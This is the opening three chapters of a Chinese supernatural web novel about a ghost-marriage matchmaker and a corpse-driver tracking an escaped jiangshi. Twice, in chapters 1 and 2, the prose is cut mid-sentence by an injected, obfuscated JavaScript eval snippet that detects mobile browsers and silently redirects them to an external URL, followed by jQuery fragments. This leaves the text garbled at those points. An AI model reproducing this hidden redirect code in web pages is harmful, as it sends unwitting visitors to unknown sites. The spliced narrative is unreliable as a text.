《歪道下山》
1. 第一章 半夜铜铃响
严寒冬日,四九时分,昨日刚下了一场大雪,整个绿柏乡白茫茫一片,一袭黑衣的薛暮冉缩着身子,走进一家饭馆。
推门进去,店里的热气扑面而来,立时周身都跟着暖和起来。这时,左手边的传来一声:“晦气!”像针一样扎进他的耳朵眼里。
他正眼也不看向那边,自顾自走到正中央的位置,叫来小二上菜。
原本吵嚷的饭馆突然安静下来,一道道隐藏不住的厌恶目光从四面八方射过来,薛暮冉第一次体会到‘芒刺在背’这个成语的厉害之处。
“上两道小菜,一碗杂米饭,再来一壶小米酒。”小二殷勤地应了一声,转身离去。
他是做阴媒的,字面上意思,就是给死人拉郎配。
最近绿柏乡有个大户人家死了兄弟,找他过来做媒人,给死人娶亲。一次五十块钱,一年做成个三四次,也就吃喝不愁了。
现在世道艰难,活人的生意难做,可死人多了,却有人找上门来求你出山。
自然,你赚得多了,有人就眼红。加上赚的是死人钱,刚好给那些人的嫉妒提供了理由。他倒是不在乎,人生在世,无非就是糊口赚钱。活人的钱赚不到,那么退而求其次,赚死人的钱也不坏。
吃饱喝足之后,他揣着手在街上乱晃,眼睛乱飘,在观察潜在客户。如今四乡一县,只有他一人做这行生意,自然要抢占先机,把名声打出去。
他可不是什么得道高人,可以降魔伏妖,无非是装装样子,骗骗无知村民罢了。正因为如此,他才更需要高调做事,不然更显得他心虚。
拐进街边的小巷,两边都是青灰色的院墙。走了好一会,才看见一扇喜庆的大门,上面贴着大红喜字,顶上挂着黑色的牌匾,写着‘陆宅’两个金色大字。
他嗤笑一声,敲了敲门。
不一会,里面走出来一个十来岁的少年,一身青色短打,他看了薛暮冉一眼,立刻垂下眼睛,往院内喊了一声:“老爷,薛老板来了。”
说罢,打开门退到一边。
薛暮冉自嘲的笑笑,走进去,心道:什么时候我变得这么怕人了?难不成做这行久了,连面相上也带了几分死人气?
少年在前面带路,穿过雕刻着飞龙的影壁,经过回廊,来到一排房屋前。少年轻轻敲了其中一扇门,进去低语几句,然后出来请薛暮冉进去。
虽然刚下过一场大雪,整个院子却被打扫的十分干净,只有树梢上留着一簇簇白雪,夹在绿色树叶中,别有一番清新之感。
薛暮冉进去,愣了一下。原以为这新发了财的陆老板家中肯定装饰得气势恢宏,到处描金绣凤,生怕别人不知道他有钱。结果这间屋子里除了两排书架,一张案几椅子,再无其他。
他面露谄媚之色:“别人都说陆老板只懂得经商计算,却不知您也是喜欢读书之人啊!”
“哈哈哈哈,士农工商,他们种田的瞧不起我做生意的,也正常。”大腹便便的陆新瑞从椅子上艰难的起身,跟薛暮冉握了握手。
“我在外漂泊七八年,做了点生意,赚了点小钱,回来盖了这座宅子,原本只想着一家人平平安安,好好过日子。谁知道,弟弟新礼他福薄,竟然受不住这气运,撒手而去,唉,我也不知道,这赚钱到底是好事还是坏事了。”
薛暮冉在心里冷笑道:这钱对你自然是好事,至于你那没福气的弟弟,当然是恶事,还用得着问吗?
嘴上却还是惋惜的语气:“令弟不如您福泽深厚,这也是没办法的事情。一般人哪有这样的福气,出门一趟,人财两得呢?听说陆老板带回来一位美丽的夫人,邻里都夸赞不已呢。”
“哪里哪里,都是大家给面子。”
一番恭维后,见陆新瑞满面春风,薛暮冉这才进入正题:“关于这次给您弟弟找妻子,女方人选是否已经定下了呢?”
“这是自然。”陆新瑞面上得意更甚。
数日后。
暖阳高照,冰消雪融,河面飘着几块薄冰,缓缓往下游流淌。残树烂枝矗立在沿河两岸,被刀子似的寒风吹得只剩下光秃秃的躯干。
赤裸的树干下坐着两个裹着灰色粗布大袄的中年男人,正眯着眼睛在晒太阳。
其中一个约莫五十上下,头戴青绿色护耳帽,稀疏的白发从额前冒出来,硬的像树杈。他手里捧着灰黑色的茶壶,时不时仰着头将那纤细的壶嘴往喉咙里一灌,只听见咕咚一声,估摸着水就少了大半。
另一个则蓄着满脸的胡子,颜色比墨水还深。脸上却皱纹密布,犹如刀刻,一时间竟然看不出实际年纪。
“老李家那个小丫头是不是走了?”帽子男呼出一口气,将带着余温的茶壶塞进怀里,闲闲说了这么一句。
“是的哟,前天夜里咳嗽了一晚上,第二天身体就凉了,听说被陆老板家定了,给了五十块。”胡子男接嘴答道,他没有茶壶,只是搓着手取暖。
“这年头,死人都能卖钱了,还有什么事情做不出来的!”帽子男狠狠啐了一口,将茶壶里剩下的水一饮而尽,起身离去。
大胡子男则慢悠悠在那片枯草地躺下,伸展四肢,享受着温暖的阳光。
此处远离村庄,除了风声,再没有其他动静。不过也仅限冬天这个百虫冬眠的季节,要是换了春夏,那虫鸣蛙叫声不绝于耳,加上蚊虫叮咬,这个河岸是万万呆不得人的所在。
人一安静,就开始胡思乱想。他脑中闪过陆老板家铺满青砖红瓦的院墙,屋顶铺的是新烧制的黑色的瓦片,透着水墨一般的光。窗户刷着红漆,镶嵌着带花纹的毛玻璃,据说是县里的时髦货。
乡里人都说,陆老板下海经商,赚的钱连三个皮箱都装不下。还带回来一个妖艳的女人,身材好得乡里任何一个女人都比不上。
不过也不知道真假,那天他也去瞧过热闹,陆新瑞只带回来三个皮箱,加上那个女人背着的行囊,如果都是钱的话,那的确是三箱子多的量。
只可惜那女人面纱包着头,根本看不清长相。不过身段的确婀娜,比自家那个生过三个娃娃的老婆子好多了。
金钱在手,美人在侧,齐人之福,不过如此。
“啧啧,这要是分一点给我——”他眼中闪过羡慕的红光。
旁边传来脚步声,他止住幻想,以为是帽子男回来了,支起身体笑着问:“怎么?装好开水了?”
转头一看,却愣了几秒钟,站在他面前的是个二十来岁的年轻人。
逆着光,他眯着眼睛看了半天,才又重新笑起来:“小薛,怎么是你?”转念一想,笑得更欢了,“哦——是为了陆老板那事吧?”
依旧穿着黑袄子的薛暮冉冷着脸坐下,恨恨道:“那老陆真不是东西,他弟弟都三十多了,还找个十四岁的小姑娘,这不是作孽吗?”
帽子男听了,哈哈笑了起来:“怎么,‘那边’还讲究这个?”
“怎么能不讲究?人活着是为了什么?不就是死后安稳吗?要是临了死了还给你配个老女人,你不会有怨气吗?”
“我可不会!别说给我配个老女人了,就是个老太太,我也满意,正所谓,女大三,抱金砖。大我个三四十岁,我这就等于是住了个金子打的屋子啊!”胡子男摊开双手,仿佛此时上面正摆着几十块金子。
“你也就现在散扯几句,真到了那个时候,就笑不出来了!”薛暮冉起身,拍拍裤子上粘的杂草头也不回地走了。
见他消失在远处的土房后头,胡子男再次躺下来,自言自语起来,嘴边还挂着一丝笑容,“现在的年轻人啊——要说不忌讳,胆子大,那的确是大,连死人的钱都赚。可要说封建的那老一套啊,比我这样的老头子还认真。可真搞不懂——”
这时,,帽子男捧着茶壶走过来,问道:“刚刚是谁?姓薛的丧门星?”
“哈哈,别这么说嘛,太缺德了!”
“可不就是丧门星吗?无父无母,四处乞讨,害得那条乞丐街瘟疫横行,死了一堆人。听说他还去脱死人的衣服穿,竟然活下来了。后来好不容易去了江家做工,结果害得江老大横死,江家生意惨淡,濒临破产,这还不是丧门星?”
“这——也不能怪到他头上啊!”
暖阳底下,依旧寒冷。在阳光照不到的黑暗处,弱小的虫蚁们苟活其中。
午夜子时,阴阳交替之间,陆家宅院,左侧一只殷红的喜灯笼,右边却是雪一样的白灯笼。一喜一丧,一红一白。
不一会,从门里走出来两支队伍,一侧全披着白麻布,披麻戴孝,另一边则是喜气洋洋,满面红妆。
这两列队伍并排而出,拿着吹打乐器却不使用,连一声咳嗽也不闻,只听见一连串的脚步声夹杂在呼啸的北风之中。
来人皆低着头,紧跟前人的脚步,往山野之中走去。
夜色泛着诡异的蓝光,今夜本是月圆,只可惜乌云密布,将天上的光芒遮盖得严严实实,丝毫不漏。
来到一处新坟茔,黄色的湿土翻出来,堆成一座小山。旁边就是一口黑漆漆的大洞,像大地的嘴,在黑暗中看不见底。
拿着红灯笼的这队人往左围住,拿着白灯笼的队伍往右走去,将整座坟围成一个圈。
粗重的呼吸声在黑夜中传开,有的人开始止不住的颤抖,两条腿藏在白色的麻布裤子里像触了电似的来回飞舞。
几个壮汉抬着一具棺材停在坟茔边,红白之间让出一条道路,棺材头绑着红色大喜的布条,后面则贴着大大的‘奠’字,白纸黑字,在黑暗中,红白灯笼的照射下显得分外亮眼。
新棺入土,一个穿着喜庆衣服,满面红妆的年轻女人趴在土堆边哭出声来:“孩儿啊,你安心的去吧——”
紧接着一片呜呜咽咽的哭声响起来,是从红白队伍里传出来的。那女人哭了一会,被她身旁瘦竹竿似的丈夫拉开。男人在她耳边低语几句,脸上神色有些不快。随后两人连忙跪着往旁边挪了几步。
后方走来的人大腹便便,满面红光。头上戴着圆形礼帽,是城里流行的款式。中年男人走近坟墓边,作出哭腔来。
“新礼啊,别怪大伯给你找的这个老婆底子差,也是没办法的事儿,最近几个村庄都没有好女孩儿,等再过阵子,大伯再给你找好的送下去,这个你就暂且先将就着——”
“呜呜——我可怜的孩子——”女人哀哀哭起来,似乎在回应着什么。结果她丈夫伸出骨节分明的手猛地拽过她,低声道:“你在干什么?小声点!”
薛暮冉从人堆里挤过来,冲圆礼帽男人简单笑了笑,说:“陆老板,你下次要找多少个都无所谓,这次可是差不多了,可以礼成送入洞房了。”
“行,那就送入洞房?”陆老板咧着嘴笑了,招呼手下人动手填坟,“小薛啊,最后不说点什么了?你看人家成亲都会说点祝词什么的——”
听到这话,薛暮冉偷偷翻了个白眼,笑嘻嘻道:“那我也来一段,那就,”他嗅了嗅,空气里有股冷冽香气,心里就有了一句,当下摇头晃脑起来,“梅花点额艳新妆,珠玉双辉暖洞房,料得明年如此日,也应鸡酒约同尝。祝这对新人,百年好合,永结同心!礼成,大家可以散了!”
他挥挥手,那群人却动也不动,只是抬眼看向陆老板。
陆老板摘下帽子,冲大家挥挥,笑道:“今天多谢各位帮忙!可以散了,工钱吗,明天来结算——”
说罢,一行人从鸳鸯锅变成了大锅饭,混在一起接连远去。
陆老板笑呵呵走过来:“小薛啊,我觉得你这句话说的不好,百年好合——他们两都死了,死了就得千千万年,百年是不是太短了?”
“你不是说过阵子找个好的给他送下去吗?一百年不会太长了?万一三个人不和谐打起来怎么办?”
“怎么会?这个小丫头不过是个下人,给他暂且用用罢了,回头娶个大房那才是老婆。”陆老板重新戴上帽子,伸出食指,冲着墓碑一直摇着。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988017|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊呀!女儿你死的好惨!”女人的哭声更大了,旁边的丈夫阻拦不住,慌忙道歉:“陆老板对不住,她没有别的意思!”
陆老板斜着眼睛瞥了他们一眼挥手道:“没什么事情就走吧,喜事已经办完了,剩下的就是我们陆家的事情了,这里你们以后也少来,毕竟这是我陆家的墓地。”
那丈夫连连点头,拉着妇人离去。
“这女孩,是他们家大女儿吧?难怪这么舍不得——”薛暮冉在坟前点上三炷清香,拜了三拜。
“还剩下一个大胖小子,有什么舍不得的——”陆老板也走过来,简单弯了弯腰,“在这个村子里,只要家里还剩下个男种,那就是后继有人!我给了他们五十块,够大方了!”
“是——您对咱们这种穷苦人一向大方!”薛暮冉冲他作揖,又伸出手来,“先把我的账结了吧,我得回县里了。
“这么着急?明天一早回去多好,我还能给你摆桌酒送行——”陆老板挽留道,却伸手从怀里掏出钱包,算好数目递过去。
“这次耽搁太多时间了,不留了。回头你这要娶二房,再来找我吧!”数完钱,他挥手辞别,消失在夜色中。
叮铃——不知从何处传来一声清脆的铃音,在夜色弥漫中显得分外诡异。
陆老板原本红润的笑容转瞬黑了下来,伸手招呼一声,等在黑暗中的家丁们赶忙走过来。其中一个小个子白面青年压低声音:“好像是赶尸人的动静,老板,要不要——”
陆老板摆摆手,骂道:“他不来招惹我们就谢天谢地了,他赶他的客人,我埋我的家眷,各不相干。”
“那——”白面青年迟疑着。
“今夜你就在这里守着,别让他惊动新礼。要是给他招呼走了,你当心你的狗腿!”撂下这句,陆老板带着其他几个家丁转身离去。
隔了老远,白面青年还能察觉到那几个同僚的嘲笑,无法,只能坐在坟墓边守夜。本打算睁着眼睛守一夜,结果不知不觉间,上下眼皮就急不可耐的亲热在一起,怎么都分不开,迷迷糊糊中,他好像听见两个人在说话。
其中一个声音清亮活泼,简称为甲好了,另一个低沉浑厚,就叫乙吧。
甲:“你到底能不能确定?我找了这么多年,时间紧迫啊!”
乙:“我怎么知道!我又不是族里管这事的,我只负责送你来,其他的你自己解决。”
甲:“真不讲义气,算了,我自己去找好了。”
乙:“那我走了,你别忘了,明年是最后一年,你还剩下一个地方没去,最好三个月结束这里。不然就是新的轮回,一切重新来过,你这四十多年的努力等于白费了。”
甲:“我知道了!你真啰嗦,记得多给我做做梦,不然在这里我跟废人没两样。还得给我留几个帮手——”
乙:“一切照旧,多的没有——”
就这样,那两个声音叽叽喳喳个没完,白面青年猛地惊醒,大声叫道:“何方妖孽?在——在这里喧哗——”
他拿起旁边挖坟剩下的锄头,护在胸前,警惕地看向四周。
叮——
清脆的撞击音在他耳边极近的位置响起,在他失去意识前,隐隐约约看见两个差不多年纪的青年,衣服一绿一黑,背后闪耀着丝丝苍蓝色光芒。
那个绿衣服青年笑嘻嘻的拿走他的锄头,笑着说:“有意思,这里的人穿的衣服好古怪。”
他不知道对方说的古怪,意思是指他衣着寒酸呢,还是嫌弃他这身粗布短卦不够时尚。
来不及思考,他就这么晕过去了。
“这人好奇怪啊,大晚上还在墓地里坐着,不害怕吗?”绿衣服青年拿着锄头左右挥舞,问道。
“竹七九,我得走了,剩下的就靠你自己了。你如果遇到麻烦,就去山北河家,那里是落脚点。”黑衣青年抬头看天,月亮已经从乌云里钻出来,洒下满地光辉。
借着月光,他在胸前画了个咒印,低声道:“人之初,性本善——”逐渐隐去身影。
竹七九冲他消失的位置挥挥手,以作告别。又盯着手里的锄头看了半天,才慢慢道:“好吧,我要从哪里开始呢?算了,走一步算一步吧。”
说罢,扔下锄头往山下走去。
啪——锄头砸在白面青年的手背上,疼得他叫出声来。他摸摸手背,又看看锄头,喃喃道:“难道刚刚是做梦吗?怎么好像看见两个发光的人影——”
花开两朵,各表一枝。
再说薛暮冉那头,此次下乡,赚了五十块,够他三个月口粮无忧。此刻他正心情愉悦的往义庄走去,看看有没有新货物,好为下一桩生意做打算。他可不信陆新瑞真心留他下来做客,无非是场面话。索性借口回县里,早早逃离。
却凭空听见一阵铃铛响,让他浑身都起了鸡皮疙瘩。
午夜时分,招魂铃响,生人回避,死者通行——
这是赶尸人的规矩。
偏偏这种时候遇见赶尸人!他眉头紧皱,仔细分辨着铃声的来源,却发现那声音缥缈无根,忽远忽近,忽左忽右,根本难以回避。
越是着急的时候,越是碰上这种事!他沉吟片刻后,打算搏一搏。也许根本碰不上呢,为此耽误时间可就大大的不妙。
想到此处,他把心一横,继续往前走着,两只眼睛却四处乱飘,生怕漏掉赶尸人的踪迹。
正所谓,习惯抬头仰望星空的人,往往会被脚下的石子给绊住脚。薛暮冉一个没注意,被脚下的树根绊了一跤,另一只脚踩在青苔上,整个人往斜坡下滚滚而去。
叮铃——
入冬以来,百木凋零,只剩下光秃秃的树干,加上此时月光明朗,视野清晰,他一边滚一边叫。
几株草木之外,有一处羊肠小道,三四个裹着黑布的人前面,站着一位身穿青布道袍的男人,他手里摇着青铜铃铛,正一脸震惊地望向自己这边。
轰隆——
丁铃铃铃——
2. 第二章 何故惹阴光
轰的一声,薛暮冉已经撞了过去,将道人身后那几个裹着黑布的人影冲得四处飞散。他自己也好不到哪里去,像是撞在了钢板上,浑身疼得要死。
“哎哟哟,我是倒了八辈子的血霉啊!”薛暮冉揉着腰部,疼得龇牙咧嘴。
“啊呀——啊呀——你——你对我的客人——瞧瞧你干的好事!”青衣道人慌得扔下铃铛跟身上的包袱,赶紧将那些东倒西歪的黑布人扶到路边,靠在树干上。
薛暮冉一边揉着腰,一边警惕着,缓缓站起身。这也是他第一次撞见赶尸人,以前只在好友朱狗蛋的嘴里听说过。传言赶尸人常年跟死尸打交道,导致阴盛阳衰,恐怖异常,鬼里鬼气,还会摄人魂魄,藏在死尸体内……
从刚刚那青衣道人的惊恐表情来看,他似乎要更害怕一些。想到这里,薛暮冉悄悄松了口气。
见那道人忙着照看黑布人,薛暮冉偷偷走过去捡起地上的铃铛,把玩起来。这是一只青铜质的铃铛,跟一般的钟形不同,这只铃铛下摆有四个角向外围翘起,周身生满了青绿色的锈迹。顶上有个两指长的把手,刚好可供人握住。
他刚打算将铃铛反过来,看看里面的结构,却被人一把夺去。原来是那青衣道人已经收拾好他的‘客人’,正气势汹汹的瞪着薛暮冉。
“你搞什么?不知道规矩吗啊?”他捡起包袱,将铃铛塞在腰间的黑布腰带里,眼睛瞪得比铃铛还大。
“这是意外,我不是故意的!”薛暮冉解释着,满脸歉意。
见状,那道人火气也消了一半,又多说教了几句后,打算离开。走了不多时,他感觉有人在后面跟着,回头一看,还是薛暮冉,立刻气不打一处来,哼哧哼哧走过去骂道:“你小子别不知好歹!还敢跟着我?”
“这个真不是,刚好我也是这个方向——”薛暮冉满脸尴尬,一瘸一拐的站也站不直。
“你要去哪里?”道人半信半疑。
“正大义庄。”
道人听了,疑惑更甚,“你去那里做什么?”
“我有货物在那里,今夜去取。”
“去义庄取货?你是做什么的?”道人逼问道。
薛暮冉嘿然一笑,“其实,大家也算半个同行,你是赶尸的,我是专门给他们配对的。”
“你是做阴媒的?”
“额——也可以这么说——”
两人在路边坐下,青衣道人掏出纸卷烟点着,又递给薛暮冉一根,被他摇手拒绝。
“你年纪轻轻的,怎么做这一行?祖上传下来的?”青衣道人问。
寒风吹过,烟头忽的亮了一下,很快又暗淡下去。
“那倒不是,最近日子难过,不得已,才干的这行。”薛暮冉挠挠头,苦笑道。
“干了多久了?”
“今年才开始干的,也就做成了三桩买卖,糊口罢了。”
沉重的气氛蔓延开,在烟气缭绕间,包裹住两人。薛暮冉干咳两声,转移话题:“听说赶尸的不能碰生人,不然会诈尸,这是真的吗?”
“谁说的?”
“这——听说的——”
青衣道人叹了口气,“那也要看情况,一般的尸体没事,特别像今晚,月圆之夜,阴气最盛,会比一般时候更容易引起尸惊——不过看样子,这几具应该没事——”
话音未落,一阵穿林打叶声从背后袭来。两人俱是一惊,连忙避开。
回首看去,方才二人所坐之地已被生生凿出两只深坑。一具黑布包裹的尸体竟然自己动了起来,速度极快,见扑了个空,已经转过身,向两人飞掠而来。
“说不诈尸,竟然就炸了尸!这也太巧了吧!”薛暮冉一边跑一边大叫。
“还不是你这个乌鸦嘴!气得老子想一铃铛敲死你!”青衣道人也叫起来,一边在树木之间穿行闪躲。
那僵尸只会直行,不知道转弯,很快速度慢下来,时不时还立在原地,似乎在思考着什么。
薛暮冉捡起一根手腕粗细的棍子,低声问:“你就没个什么符咒啊,黄纸什么的,贴在那僵尸头上他就不动了那种东西吗?”
“你是小说看多了吧!还符咒黄纸——”
“那你是怎么让他们动起来的啊?”薛暮冉转头问完,又转过去盯着那僵尸,发现那东西脚上穿着一双雕花皮鞋,顿时羡慕起来,喃喃道:“现在连死人穿的都比我好,老天爷真不公平!”
“是挺不公平的。”青衣道人接过话茬,“老子天天跟一群死人打交道就算了,今天还给老子碰到这么个跟死人计较穿着的二愣子,我真还不如死了算了!”
听出来对方话里的嘲讽之意,薛暮冉白了他一眼,冷笑道:“你要是想死,现在就可以去死,还在这里逼逼赖赖的,说什么废话!”
两人互相呛了几句,只见那僵尸惨白的手腕从淡蓝色的袖子中伸出来,缓缓扯下黑布,露出一张青白色的面孔。他抬头看了看月光,哑着嗓子吼了几声,转身跳着离开。
见他走远,薛暮冉才慢悠悠走出来,长吁一口气,笑道:“总算保住了这条小命,是吧?”
一转头,却发现青衣道人正满脸不可置信,盯着那僵尸离开的方向,口里重复着同一句话:“这不可能啊——”
叮铃——招魂铃响,生人回避——
薛暮冉跟着青衣道人,一同护送剩下的两具尸体来到正大义庄。此时已经接近天明,义庄后门大开,门上红漆斑驳,数不清过去了多少岁月。趁着朝阳未升,两人将尸体搬到木门背后,这是赶尸行里的规矩。
活人正门进,死者门后留。
义庄老板郑明迎了出来,笑道:“面条跟馒头,要哪一样?”
青衣道人要了馒头,薛暮冉没什么胃口,就点了面条,外加一个荷包蛋。
两人在院子里的石桌旁坐下,互相介绍了姓名。这青衣道人不肯说全名,只说了代号——赶尸老柳。
“你也不老啊!今年多大年纪了?”薛暮冉叫道,此时太阳初升,他仔细端详着这个赶尸人,一头乱糟糟的头发简单扎了起来,上头插着一根木棍。脸上虽然胡子拉碴,可皮肤倒是比一般人要白净许多,可能是因为赶尸人日暮而作,日升而息的作业时间。眼神也十分锐利,要是把胡子剃了,倒也算得上是个清俊小生。
只是他胳膊上肌肉纠结,手腕上青筋暴起,可以看出是个孔武有力的人。
“年纪那东西,谁记得请?”老柳淡然道。
这时老板端着馒头跟咸菜上来了,“面条再稍稍等一小会,先吃点馒头垫垫肚子吧——”他不好意思地冲薛暮冉解释。
赶尸人老柳倒是混不在意,反正他要的馒头已经上了,立刻狼吞虎咽起来。薛暮冉见状,食欲也被勾起来,刚想去拿个馒头尝尝,却被老柳一把抢过去,含糊不清道:“馒头我的,你是面条——”
一顿狂卷残云后,老柳摸摸肚皮,打了个很响的饱嗝,冲薛暮冉摆摆手,“我先去睡了,你慢慢等吧。”
随后进了房,不一会传出来震天响的呼噜声。
老板郑明笑嘻嘻端着面条走过来,笑道:“老柳精神还是这么好,倒头就睡,我可真羡慕他——”
“你们很熟吗?”薛暮冉呲溜一声,吸进去一口面条,“他大名叫什么?”
听到这话,郑明捂着嘴吃吃笑起来,小声道:“老柳大名柳水鹤,他一般不告诉别人,只是因为我这里规矩,第一次来的客人都要盖章的介绍信,这才被我知道了。不过你可千万不能让他知道我跟你说了,不然他要怪我的!”
没想到这个五大三粗的男人竟然取了个如此文绉绉的名字,薛暮冉忍不住笑出了声,“难怪他不肯告诉我——对了,你们这生意怎么样?最近赶尸人多吗?”
“这个啊,生意倒是还跟以往差不多,只是最近倒是有一桩奇事……”说着郑明压低了嗓音,继续道:“按照惯例,这赶尸人只能由男性来干,但是不久前,这里凭空出现了个年轻女人,大晚上的赶着三四个尸体直勾勾往前走。而且那女人啊,长得还十分美丽,我啊——”
“女赶尸人?这个倒是奇怪啊!”
“这个说奇怪倒也不奇怪,因为三十多年前,这附近也出现过一个,而且跟老柳渊源颇深……”
“老郑!”一声呵斥从屋里传过来,“别拉着客人说闲话,耽误人家休息!”一身蓝布棉褂的老板娘从屋里走出来,拽着老板的耳朵往屋里走着,边跟薛暮冉道歉。
这故事就听了一半,薛暮冉心里直痒痒,但是又不好进去询问,毕竟他也摸不清这老板娘是真的关心他休息,还是不希望老板继续这个故事。无奈,他只好将面条胡乱吃完,进屋休息。
他的屋子在老柳隔壁,那吵人的呼噜声不绝于耳,这种环境下要想入眠,怕是也不容易。他躺在床上,拉上厚厚的黑布窗帘,屋内顿时一片黑暗。
这种窗帘也是特质的,可以隔绝光线。他在黑暗中
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988018|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闭着眼睛,脑中响起方才老板说的那个故事。
三十年前的女赶尸人,肯定不会是老柳,难道是他母亲?看样子老柳差不多也有三十岁,难道是那个女赶尸人在夜里碰见了他父亲?又或者是,难不成赶的就是他父亲?人尸成婚,生下孩子,所以老柳才会那么白,因为他根本不是人?
这样胡思乱想着,他竟然睡着了,可惜睡不安稳,噩梦连连,忽的惊醒,屋内依旧黑暗一片,他摸摸额头,触手潮湿,原来已经睡出一身冷汗。
摸索着,先开窗帘,花白的玻璃上紧贴着一张变了形的人脸,似乎有人在窥视房子里面。他吃了一惊,连忙捂住嘴巴才没有叫出声。
屋外已近黄昏,他轻手轻脚走出去,立时吓得倒退而回。那老板郑明坐在椅子上,胸前有个血窟窿,脸颊贴在玻璃上,眼珠子直勾勾盯着里面。也许是生前打算求救,也许是有其他原因。
薛暮冉扶住身旁的柱子,这才没有倒下去。他颤悠悠叫着:“老柳,老板娘?你们在哪里?”迈着步子往厨房走去,老板娘仰面倒在锅灶上,胸口也是一个血糊糊的大洞,一只手掉在满锅的热水里,已经烫得又红又肿。
身后传来脚步声,他猛地回头,看见老柳揉着眼睛走过来,叫道:“吵什么吵?太阳还没下山呢!”
顿时薛暮冉好似看见了救星,猛地扑上去,口齿不清的诉说着见到的这血淋淋的一切。
两人将老板夫妇搬到院内并排放好,老柳仔细检查后,说:“似乎,是僵尸所为,你看这些指甲印——”凑上去一看,果然在那血窟窿旁边,留着几个鲜红的细小血印,似乎是被什么短而尖利的圆弧形利器插进去留下的印记。
老柳忽然起身,跑去门后,仔细检查过那剩余的两具僵尸,“看来不是这两个,那就是昨夜逃走的那个了。”
“可是,那我们两个为什么没事?”薛暮冉也翻过那两具死尸的衣袖,看了看指甲,正常长度,泛着青灰色,的确没有血迹。
“我想,可能是那个黑布帘子,材质跟包裹死尸的黑布是同一种,可以遮挡活人气息,所以我们逃过一劫。”
两人坐在石桌旁,不发一语。眼看着夕阳西下,最后一抹阳光消失在云霞后,黑夜,降临了。
温度很快降下来,呵气成霜。月光皎洁,照得人影分外鲜明。
“这件事不能不管,不然那东西还会出来害人。”老柳说道,脸埋在黑暗里看不分明。
“你打算怎么做?”薛暮冉紧张起来。
“那死尸体内种了应声蛊,如果不出意外,应该会对这招魂铃有反应——长摇铃会吸引死尸靠近——”
“那你昨天为什么不用?”
“昨天?”老柳沉吟了一会,才开口道:“此法危险性极高,轻易不可使用,因为会召集附近的坟地死尸靠近,一旦尸气聚集,连我,也无可奈何了。”
听对方如此解释,薛暮冉也不再追问,抬头看向月空,叹道:“可是,现在我们也不知道那具僵尸在哪里,怎么摇铃啊?难不成一路走一路摇?何年何月才能让那家伙自己蹦过来——”
“你当我连这个也考虑不到吗?”老柳白了他一眼,“招魂铃不比普通的铃铛,以物传音,物物传音,所以一般人分不清这声音源头在何处。但是死尸不同,他们体内的蛊虫可以分辨出来声音的确切方位,随后就会指引死尸往我这里靠近。”
“那你刚刚还说,不能轻易摇铃,会聚集死尸。难不成每具死尸体内都养了蛊虫吗?”
“这——这附近又不是只有我一个赶尸人,万一打扰到别人工作怎么办?你这人怎么净喜欢抬杠呢?”老柳说话声音急促起来。
“可是,我怎么听说赶尸人有地界划分的,一般同一个地方,不会有两个赶尸人——”薛暮冉揶揄道。
“你听说?谁说的?有名有姓吗?”老柳伸着脖子怒道。
“行了,不跟你拌嘴了。那你赶紧摇铃啊,这件事早点解决,我们也好早点离开这地方。”
“你答应跟我一起解决这件事了?”老柳黑着脸问。
“那肯定了!舍命陪君子,今夜我就在这里陪你解决那只僵尸。”
“那——多谢了。”
“看不出来你还会道谢啊!”薛暮冉刚想拍着胸脯鼓励老柳一番,忽然反应过来,“我怎么感觉你在坑我?”
老柳嘿嘿一笑,道:“君子一言,驷马难追,今夜捉僵尸的舞台可不在这里!”
3. 第三章 月下惊魂夜
明月高悬,洒下大把皎洁的光芒。稀疏的林间,一前一后两个人影飞速穿行,来到一处宽敞的空地上停住脚步。
一袭黑衣的薛暮冉气喘吁吁,擦掉额头的汗水,左顾右盼起来:“这里地势好,一会你把僵尸招过来,我们一眼就能看见。”
四周视野开阔,远处就是著名的桐柏山,抬头望去,高耸入云,峭壁光滑,在月亮的照耀下泛着怪异的白光。
身后不远处是黑乎乎的树林,远远望去像是潜伏着一群漆黑的怪物。微风过处,不知从何处飘过来一阵腐烂的臭味。
二人不约而同捂住口鼻,眉头紧皱。
“这是‘闭息丹’,可以暂时封住五感,减缓呼吸。等会僵尸来了也察觉不到我们,这样好办事……”
柳水鹤丢过来一枚赤红的圆形丹药,也往自己嘴里塞进去一颗。
见他喉结上下一动,似乎已经吞下去,薛暮冉这才将闭息丹也塞进嘴里,顿时一阵热辣辣的腥气从嗓子眼里涌上来。他猛地咳嗽两声,口齿不清地抱怨起来:“什么玩儿意?好难闻啊!”
一抬头,却发现柳水鹤正憋着一股笑意,转过头去。心里顿时有些忐忑,忙问道:“这到底是什么东西?我感觉你小子在骗我!”
本就是才认识不久,加上对方是个赶尸人,阴森可怖,薛暮冉有些担忧,同时也为自己轻信他人而懊恼不已。
柳水鹤正要回答,一片乌云好巧不巧地飘过来,遮住圆滚滚的月亮,一时间,大地变得朦胧一片。
风里的腐臭味似乎更浓烈了一些,从远处的林子里飘出来。
纵使薛暮冉再迟钝,这时也察觉出来不妙,他见柳水鹤半蹲下身子,藏在杂草中间,也跟着蹲下去。
双眼紧盯着那片树林,发现隐约几点荧光,像是飘着一群萤火虫。于是低声道:“难道,那僵尸就藏在林子里?没听说过僵尸眼睛会发光啊……而且你都没有摇铃铛……”
“嘘!”柳水鹤发出短促地一声,随机埋下头,贴在大地上,“不对劲,这不对啊!”
